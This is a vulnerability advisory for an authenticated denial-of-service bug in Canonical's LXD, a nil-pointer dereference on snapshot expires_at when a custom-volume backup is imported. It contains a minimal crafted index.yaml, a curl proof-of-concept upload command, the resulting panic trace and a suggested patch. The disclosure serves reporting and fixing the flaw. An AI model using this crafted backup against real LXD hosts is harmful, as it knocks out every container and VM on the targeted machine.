logo

Database

Asymmetric denial of service In github.com/canonical/lxd

Description

LXD has CreateCustomVolumeFromBackup nil-pointer dereference on volumes[0].snapshots[*].expires_at

Summary

(sibling-field variant of CVE-2026-40197 fix 05bc272)

(*lxdBackend).CreateCustomVolumeFromBackup in lxd/storage/backend_lxd.go contains an unguarded *time.Time dereference on the ExpiresAt field of every volume-snapshot entry in an imported custom-volume backup. An authenticated user with EntitlementCanCreateStorageVolumes permission on any project can crash the lxd daemon by uploading a backup tarball whose volumes[0].snapshots[*].expires_at field is omitted.

This is a sibling-field variant of the CVE-2026-40197 fix (commit 05bc272, "Validate snapshots from backup.yaml are non-nil", cherry-picked from incus commit 985a1dedf / GHSA-r7w7-mmxr-47r9). That fix added if snap == nil guards at several consumer sites, but did not guard the adjacent *snapshot.ExpiresAt deref at line 8216. Every other consumer of this field in the same file already gates the deref with if … != nil (e.g. lines 1010-1011, 1274-1275, 1856-1857, 2454-2455, 5070-5071, 5527-5528). Asymmetric guard is the bug.

Vulnerable code

lxd/storage/backend_lxd.go, CreateCustomVolumeFromBackup:

// Line 8141-8150 — earliest snapshot validation pass (caches s == nil)
for i, snap := range customVol.Snapshots {
    if snap == nil {
        return fmt.Errorf("Nil custom volume snapshot definition found at index %d", i)
    }
    err = drivers.ValidVolumeName(snap.Name)
    ...
}...

ExpiresAt is declared *time.Time (shared/api/storage_pool_volume_snapshot.go). Every other consumer in the same file already uses the safe pattern (if … != nil { … = *… }):

Line
Code
Guarded?

Reach

    Attacker is an authenticated client (TLS cert, OIDC, or unix socket) with the EntitlementCanCreateStorageVolumes entitlement on any project. Same auth gate as CVE-2026-40197.

    POST /1.0/storage-pools/<pool>/volumes/custom with Content-Type: application/octet-stream and X-LXD-name: <name>.

    Body is a tar containing backup/index.yaml with type: custom, volumes[0] non-nil, and volumes[0].snapshots[0] non-nil but missing expires_at.

    lxd/storage_volumes.go:storagePoolVolumesPost -> backup.GetInfo parses the yaml -> pool.CreateCustomVolumeFromBackup -> the validations at 8141-8150 + 8197 pass (snapshot pointer is non-nil, name is valid) -> *snapshot.ExpiresAt on line 8216 panics on the nil *time.Time.

    The Go runtime kills the entire lxd daemon process. Repeated POSTs are a persistent denial of service.

Minimal backup/index.yaml:

name: poc-vol
backend: dir
pool: default
type: custom
optimized: false
optimized_header: false
snapshots: [snap0]
config:...

Proof of concept (end-to-end against running daemon)

Bundled in the report: make_backup.sh + the resulting 516-byte poc-vol-lxd.tar.gz.

Tested against lxd 6.8 (HEAD of canonical/lxd at the time of testing, built from source with make deps && go build -tags libsqlite3 ./lxd). Daemon started with default dir storage pool.

$ curl -s --unix-socket /var/lib/lxd/unix.socket -X POST \
    --data-binary @/tmp/poc-vol-lxd.tar.gz \
    -H 'Content-Type: application/octet-stream' \
    -H 'X-LXD-name: poc-vol' \
    http://lxd/1.0/storage-pools/default/volumes/custom
{"type":"async","status":"Operation created","status_code":100,...}

$ ps -ef | grep lxd | grep -v grep    # daemon GONE...

Daemon panic from /tmp/lxd.out:

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x11015e8]

goroutine 683 [running]:
github.com/canonical/lxd/lxd/storage.(*lxdBackend).CreateCustomVolumeFromBackup(...)
    github.com/canonical/lxd/lxd/storage/backend_lxd.go:8216 +0xf58
main.createStoragePoolVolumeFromBackup.func6(...)
    github.com/canonical/lxd/lxd/storage_volumes.go:2879 +0x2a0...

Stack frame backend_lxd.go:8216 is the literal *snapshot.ExpiresAt line.

Impact

    Severity: denial of service against the entire lxd daemon process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process.

    Privileges required: any authenticated user with can_create_storage_volumes on any project. Not behind the admin tier.

    Network attack surface: the LXD REST API on :8443 or the unix socket.

    CWE-476 — Nil-Pointer Dereference. CVSS estimate: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).

    Versions: confirmed at lxd 6.8 (HEAD); the same code exists in the v5.21 LTS line as the parent fix 05bc272 was a cherry-pick from incus.

Suggested fix

Mirror the guard pattern already in use elsewhere in this file:

--- a/lxd/storage/backend_lxd.go
+++ b/lxd/storage/backend_lxd.go
@@ -8210,9 +8210,14 @@ func (b *lxdBackend) CreateCustomVolumeFromBackup(...) error {
         snapVolStorageName := project.StorageVolume(srcBackup.Project, fullSnapName)
         snapVol := b.GetNewVolume(drivers.VolumeTypeCustom, drivers.ContentType(customVol.ContentType), snapVolStorageName, snapshot.Config)

         // Validate config and create database entry for new storage volume.
         // Strip unsupported config keys (in case the export was made from a different type of storage pool)....

Related advisories

    GHSA-r7w7-mmxr-47r9 (CVE-2026-40197) / commit 05bc272 (cherry-pick of incus 985a1dedf) — parent fix: added s == nil checks at multiple consumer sites, missed the *snapshot.ExpiresAt deref at line 8216.

    lxc/incus GHSA-xhqx-mgh3-3h7q (sibling report filed by same reporter against the upstream-equivalent line internal/server/storage/backend.go:7731 in incus).

The shape is "incomplete fix on a sibling field of the same struct" — the maintainer walked nil-checks for the iteration-variable pointer but did not walk every adjacent pointer field that the loop body still dereferences.

Reporter notes

Reported via Privately-Reported Vulnerability against canonical/lxd by tonghuaroot.

Mitigation

Update Impact

Minimal update. May introduce new vulnerabilities or breaking changes.

Ecosystem
Component
Affected version
Patched versions